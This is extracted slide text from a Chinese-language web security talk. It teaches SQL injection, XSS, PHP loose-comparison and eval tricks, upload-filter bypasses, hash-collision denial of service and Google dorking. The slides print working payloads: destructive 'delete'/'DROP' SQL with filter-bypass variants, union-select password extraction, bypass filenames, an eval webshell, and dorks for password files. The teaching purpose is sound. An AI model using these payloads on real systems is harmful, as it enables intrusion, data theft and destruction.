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About	 Me

•  蔡政達	 aka	 Orange

•  CHROOT	 成員

•  DEVCORE	 Security	 Consultant
•  國內外研討會	 HITCON,	 

PHPCONF	 …	 等講師

•  揭露過	 Microsoft,	 Django,	 
Yahoo	 …	 等漏洞

•  國內外駭客競賽冠軍





•  專精於
– 駭客攻擊手法

– 入侵滲透

– Web	 Security



Outline

•  Introduction	 of	 Web	 Security	 

•  Server	 Side	 Vulnerability	 Overview
•  CTF
•  CTF...



CTF	 v.s.	 Web	 Security



Web	 Security	 v.s.	 Penetration	 Testing



技術	

技巧	經驗	

思路 



安全是一個整體

「黑掉你，根本不在你認為的那個點上」



安全是一個整體

「思路決定你的高度」



Mind	 Mapping

人的安全

OS	 安全

Server	 安全

Database	 安全
Web	 Server安

全

後端語言安全

Web	 Framework
安全

Web	 App	 安全 DNS	 安全

前端安全

第三方安全



為什麼會有漏洞？



Why	 Vulnerability

•  對資料不了解

•  對特性不了解

•  對駭客不了解





近年資安大事件

•  ...
•  2013	 /	 01 Ruby	 on	 Rails	 Remote	 Code	 Execution

•  2013	 /	 07 Struts	 2	 s2-017

•  2014	 /	 04 OpenSSL	 HeartBleed

•  2014	 /	 09 Bash	 ShellShock









對資料不了解

Data	 被當成	 Code	 執行



程式設計師

駭客



Injection	 Flaw

SQL	 Injection,	 Cross	 Site	 Scripting,	 Code	 Injection,

LDAP	 Injection,	 XPATH	 Injection,	 Command	 Injection	 ...	 





你懂資料庫嗎？

略懂



SQL
DB



SQL

SELECT	 *	 FROM	 news	 WHERE	 id=1



news.php

SELECT	 *	 FROM	 news

ID TITLE CONTENT DATE

1 食品價飄... ... 2013/04/01

2 穩定物價... ... 2013/04/02

3 颱風天還... ... 2013/12/12



news.php?id=1

SELECT	 *	 FROM	 news	 WHERE	 id	 =	 1

ID TITLE CONTENT DATE

1 食品價飄... ... 2013/04/01

2 穩定物價... ... 2013/04/02

3 颱風天還... ... 2013/12/12



news.php?id=2

SELECT	 *	 FROM	 news	 WHERE	 id	 =	 2

ID TITLE CONTENT DATE

1 食品價飄... ... 2013/04/01

2 穩定物價... ... 2013/04/02

3 颱風天還... ... 2013/12/12



news.php?id=1	 ...Evil

SELECT	 *	 FROM	 news	 WHERE	 id	 =	 1	 ...Evil

ID TITLE CONTENT DATE

1 食品價飄... ... 2013/04/01

2 穩定物價... ... 2013/04/02

3 颱風天還... ... 2013/12/12



news.php?id=1	 ;	 delete	 from	 news

SELECT	 *	 FROM	 news	 WHERE	 id	 =	 1	 ;	 delete	 from	 news

ID TITLE CONTENT DATE

1 食品價飄... ... 2013/04/01

2 穩定物價... ... 2013/04/02

3 颱風天還... ... 2013/12/12





恭喜你，你學會	 SQL	 Injection	 了

NASA,	 Yahoo,	 總統府都可以用同樣的概念入侵



早個四五年學會的話

台灣一半以上的網站都有辦法入侵



早年駭客圈流傳的萬用密碼

Username:	 '	 or	 ''='

Password:	 '	 or	 ''='



http://sqli.exp.tw/

玩玩看



真實入侵網站	 Demo

http://pwn.orange.tw/





入侵手法解析



入侵手法解析

•  資訊收集

•  猜路徑

•  猜密碼

•  找尋漏洞
– SQL	 Injection





資訊收集

•  Web	 Fingerprints
– Wappalyzer,	 WhatWeb,	 Recon-ng

•  經驗
– Header	 ?
– 各程式語言習慣、各	 Framework	 習慣



猜路徑	 /	 猜密碼



找尋漏洞	 -	 SQL	 Injection



show.php?id=29

SELECT	 *	 FROM	 news	 WHERE	 id	 =	 29

ID TITLE CONTENT

29 先知瑪麗... ...



show.php?id=29	 ���
union	 select	 1,2,3

SELECT	 *	 FROM	 news	 WHERE	 id	 =	 29	 

union	 select	 1,2,3
ID TITLE CONTENT

29 先知瑪麗... ...

1 2 3



show.php?id=29	 and	 1=2	 ���
union	 select	 1,2,3

SELECT	 *	 FROM	 news	 WHERE	 id	 =	 29	 and	 1=2	 

union	 select	 1,2,3
ID TITLE CONTENT

1 2 3





show.php?id=29	 and	 1=2	 ���
union	 select	 1,2,password	 from	 admin

SELECT	 *	 FROM	 news	 WHERE	 id	 =	 29	 and	 1=2	 

union	 select	 1,2,password	 from	 admin
ID TITLE CONTENT

1 2 THE_PASSWORD





Cross	 Site	 Scripting

XSS



XSS

3.	 Send	 sensitive	 information



竊取使用者密碼	 DEMO

http://pwn.orange.tw/



對特性不了解





Example





你要	 Ban	 什麼？

帳號	 ?	 IP	 ?



PHP	 語言鬆散特性



$in	 =	 $_GET[input];

if	 (	 preg_match("/[0-9]{6,8}/",	 $in)	 ==	 0	 ){

//	 Get	 Out

}



時間正巧，剛好	 Wordpress	 出包

Worldpress	 3.8.2	 Cookie	 偽造漏洞



list($username,	 $expiration,	 $hmac)	 =	 \

explode(	 '|',	 $cookie	 );

$hash	 =	 \

hash_hmac(	 'md5',	 $username.'|'.$expiration,	 $key	 );

if	 (	 $hmac	 !=	 $hash	 ){

//	 get	 out

}





list($username,	 $expiration,	 $hmac)	 =	 \

explode(	 '|',	 $cookie	 );

$hash	 =	 \

hash_hmac(	 'md5',	 $username.'|'.$expiration,	 $key	 );

if	 (	 $hmac	 !=	 $hash	 ){

//	 get	 out

}
#	 admin|1397564163|9e21dc6ef0259c1db9a852bb297f0508





"0"	 ==	 "0e123456789012345678901234567890"

//	 True



admin|1397564163|0







list($username,	 $expiration,	 $hmac)	 =	 \

explode(	 '|',	 $cookie	 );

$hash	 =	 \

hash_hmac(	 'md5',	 $username.'|'.$expiration,	 $key	 );

if	 (	 $hmac	 !==	 $hash	 ){

//	 get	 out

}
#	 admin|1397564163|9e21dc6ef0259c1db9a852bb297f0508



PHP	 語言鬆散特性



$in	 =	 $_GET[input];

if	 (	 preg_match("/[0-9]{6,8}/",	 $in)	 ===	 0	 ){

//	 Get	 Out

}







PHP	 語言鬆散特性



$in	 =	 $_GET[input];

if	 (	 preg_match("/[0-9]{6,8}/",	 $in)	 ===	 0	 ){

//	 Get	 Out

}





#	 check.php?input[]=foo



來聊聊上傳這件事情



Apache	 +	 PHP

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

move(	 f,	 DIR	 +	 filename	 )



Apache	 +	 PHP

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

move(	 f,	 DIR	 +	 filename	 )







#	 hacker.php



Apache	 +	 PHP	 (	 Patch	 1	 )

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

if	 ext	 ==	 'php':	 exit()

move(	 f,	 DIR	 +	 filename	 )



Apache	 +	 PHP	 (	 Bypass	 1	 )

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

if	 ext	 ==	 'php':	 exit()

move(	 f,	 DIR	 +	 filename	 )





#	 hacker.php3	 #	 hacker.php4	 #	 hacker.phtml



Apache	 +	 PHP	 (	 Patch	 2	 )

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

if	 ext	 in	 ['php',	 'php3',	 'php4'	 ...]:	 exit()

move(	 f,	 DIR	 +	 filename	 )







Apache	 +	 PHP	 (	 Bypass	 2	 )

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

if	 ext	 in	 ['php',	 'php3',	 'php4'	 ...]:	 exit()

move(	 f,	 DIR	 +	 filename	 )





#	 hacker.php[SPACE]







Apache	 +	 PHP	 (	 Patch	 3	 )

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

if	 ext.strip()	 in	 ['php',	 'php3',	 'php4'	 ...]:	 exit()

move(	 f,	 DIR	 +	 filename	 )







Apache	 +	 PHP	 (	 Bypass	 3	 )

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

if	 ext.strip()	 in	 ['php',	 'php3',	 'php4'	 ...]:	 exit()

move(	 f,	 DIR	 +	 filename	 )





#	 hacker.php.xxx	 #	 .htaccess







Nginx	 +	 PHP

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

if	 ext	 not	 in	 ["jpg",	 "jpeg",	 "gif"]:	 exit()

move(	 f,	 DIR	 +	 filename	 )







Nginx	 +	 PHP

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

if	 ext	 not	 in	 ["jpg",	 "jpeg",	 "gif"]:	 exit()

move(	 f,	 DIR	 +	 filename	 )





#	 hacker.gif/a.php	 #	 hacker.gif%00.php





http://webconf.orange.tw/discuz/uc_server/data/
avatar/000/00/00/05_avatar_big.jpg



http://webconf.orange.tw/discuz/uc_server/data/
avatar/000/00/00/05_avatar_big.jpg/.php



IIS	 +	 ASP

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

if	 ext	 not	 in	 ["jpg",	 "jpeg",	 "gif"]:	 exit()

move(	 f,	 DIR	 +	 filename	 )







IIS	 +	 ASP

DIR	 =	 '/var/www/upload/'

f	 =	 get_user_file()

name,	 ext	 =	 f.filename,	 f.extension

if	 ext	 not	 in	 ["jpg",	 "jpeg",	 "gif"]:	 exit()

move(	 f,	 DIR	 +	 filename	 )





#	 hacker.asp;.jpg





Upload	 and	 More	 ...



•  檢查副檔名

•  檢查副檔名	 in	 JavaScript

•  檢查	 Mine	 Type

•  檢查	 File	 Header

•  檢查	 File	 Format

•  檢查	 URL	 Pattern



你懂	 PHP	 嗎？

略懂



Hello	 World



<?php

 echo	 "Hello	 World";

?>



Hello	 World



<?php

 echo	 "Hello	 World";

?>

字串



"Hello	 World"	 v.s.	 'Hello	 World'

你知道差別在哪嗎？



PHP	 Double	 Quote	 Evaluation

•  $func	 =	 function(){	 return	 "Alice";	 };
•  $name	 =	 "Tony";

•  $string	 =	 "Hello	 $name";   #	 Hello	 Tony

•  $string	 =	 'Hello	 $name';    #	 Hello	 $name

•  $string	 =	 "Hello	 ${@func()}";  #	 Hello	 Alice



真實入侵網站	 Demo	 Part	 2

http://pwn.orange.tw/





${@eval($_POST[ccc])}

ccc=echo	 `$_POST[cmd]`&cmd=ls	 -alh





對駭客不了解

駭客想的和你不一樣









http://www.wooyun.org/bugs/wooyun-2012-010561



http://www.wooyun.org/bugs/wooyun-2012-010561



http://www.wooyun.org/bugs/wooyun-2012-010561



http://www.wooyun.org/bugs/wooyun-2012-010561



SQL	 Injection	 "DROP"	 很危險	 ?



Pseudo	 Code



$id	 =	 	 $_GET[id];



$sql	 =	 "SELECT	 *	 FROM	 news	 WHERE	 ID	 =	 $id";

mysql_query($sql);





//	 PoC:	 news.php?id=1	 ;	 drop	 table	 news	 --





Pseudo	 Code	 (Patch	 1)



$id	 =	 	 $_GET[id];

$id	 =	 str_replace("drop",	 "",	 $id);

$sql	 =	 "SELECT	 *	 FROM	 news	 WHERE	 ID	 =	 $id";

mysql_query($sql);







Pseudo	 Code	 (Patch	 1	 Bypass)



$id	 =	 	 $_GET[id];

$id	 =	 str_replace("drop",	 "",	 $id);

$sql	 =	 "SELECT	 *	 FROM	 news	 WHERE	 ID	 =	 $id";

mysql_query($sql);





//	 PoC:	 news.php?id=1	 ;	 DROP	 table	 news	 --





Pseudo	 Code	 (Patch	 2)



$id	 =	 	 $_GET[id];

$id	 =	 str_ireplace("drop",	 "",	 $id);

$sql	 =	 "SELECT	 *	 FROM	 news	 WHERE	 ID	 =	 $id";

mysql_query($sql);







Pseudo	 Code	 (Patch	 2	 Bypass)



$id	 =	 	 $_GET[id];

$id	 =	 str_ireplace("drop",	 "",	 $id);

$sql	 =	 "SELECT	 *	 FROM	 news	 WHERE	 ID	 =	 $id";

mysql_query($sql);





//	 PoC:	 news.php?id=1	 ;	 DRODROPP	 table	 news	 --





你懂演算法嗎？

略懂



你們一定都比我懂

演算法、密碼學屬性相剋都被死當...





帳號密碼會被送到	 Server

帳號密碼	 à	 Web	 Server	 à	 後端語言	 à	 資料庫

username
password

Apache Java MySQL



帳號密碼會被送到	 Server

帳號密碼	 à	 Web	 Server	 à	 後端語言	 à	 資料庫

username
password

Apache Java MySQL

怎麼儲存	 /	 處理你的帳號密碼？



Hash	 Table

理想 O(1)

最糟 O(N)



Hash	 Table

電話簿的概念



Hash	 Table

0 1 2 3 4 5 6

Table[	 ???	 ]	 =	 xxx

hash(	 ???	 )	 =	 ?



Hash	 Table

0 1 2

admin

3 4 5 6

H[	 'username'	 ]	 =	 'admin'

hash(	 'username'	 )	 =	 2



Hash	 Table

0 1 2

admin

3 4 5 6

passw

H[	 'password'	 ]	 =	 'passw'

hash(	 'password'	 )	 =	 6



Hash	 Table

0 1 2

admin

3 4 5

baaar

6

passw

H[	 'fooooooo'	 ]	 =	 'baaar'

hash(	 'fooooooo'	 )	 =	 5



Hash	 Table

0

tacp

1 2

admin

3 4 5

baaar

6

passw

H[	 'sleeeeep'	 ]	 =	 'taco'

hash(	 'sleeeeep'	 )	 =	 0



Hash	 Table

0

tacp

1 2

admin

3 4 5

baaar

6

passw

H[	 'beeeeeep'	 ]	 =	 'beee'

hash(	 'beeeeeeep'	 )	 =	 2



Collision	 ?

Chaining

Open	 Addressing







Hash	 Table

0

tacp

1 2

admin

beee

3 4 5

baaar

6

passw

H[	 'beeeeeep'	 ]	 =	 'beee'

hash(	 'beeeeeeep'	 )	 =	 2



hash	 function	 演算法已知

精準的控制讓	 Worst	 Case	 O(N)	 發生



hash	 function	 設計的初衷在於相
信資料是隨機的

問題是世界上壞人很多



Hash	 Table

0 1 2

AAAa

AAaA

AaAA

aAAA

...

3 4 5 6



http://koto.github.io/blog-kotowicz-net-examples/hashcollision/kill.html



Google	 技巧？



理性物戰	 <(_	 _)>



Google	 Tricks

•  apple	 
•  apple	 orange
•  "apple	 orange"
•  apple	 -orange
•  site:apple.com
•  site:apple.com	 inurl:mba
•  site:apple.com	 filetype:doc



Combo	 組合技

•  "index	 of"	 徐佳瑩	 mp3

•  site:edu.tw	 ext:pdf	 sol	 "linear	 algebra"
•  site:gov.cn	 filetype:xls	 密碼



Google	 Hacking

•  "on	 line"	 warning	 ext:php
•  site:yzu.edu.tw	 inurl:admin/login
•  site:yzu.edu.tw	 inurl:login



http://www.exploit-db.com/google-dorks/











書籍介紹





Tools



Tools

•  FireFox	 (	 OWASP	 Mantra	 )
– Cookie	 Manager
– Foxy	 Proxy
– HackBar
– Modify	 Headers
– Tamper	 Data
– Wappalyzer

– X-Forwarded-For
•  Burp	 Suite



Thanks	 :)

orange@chroot.org


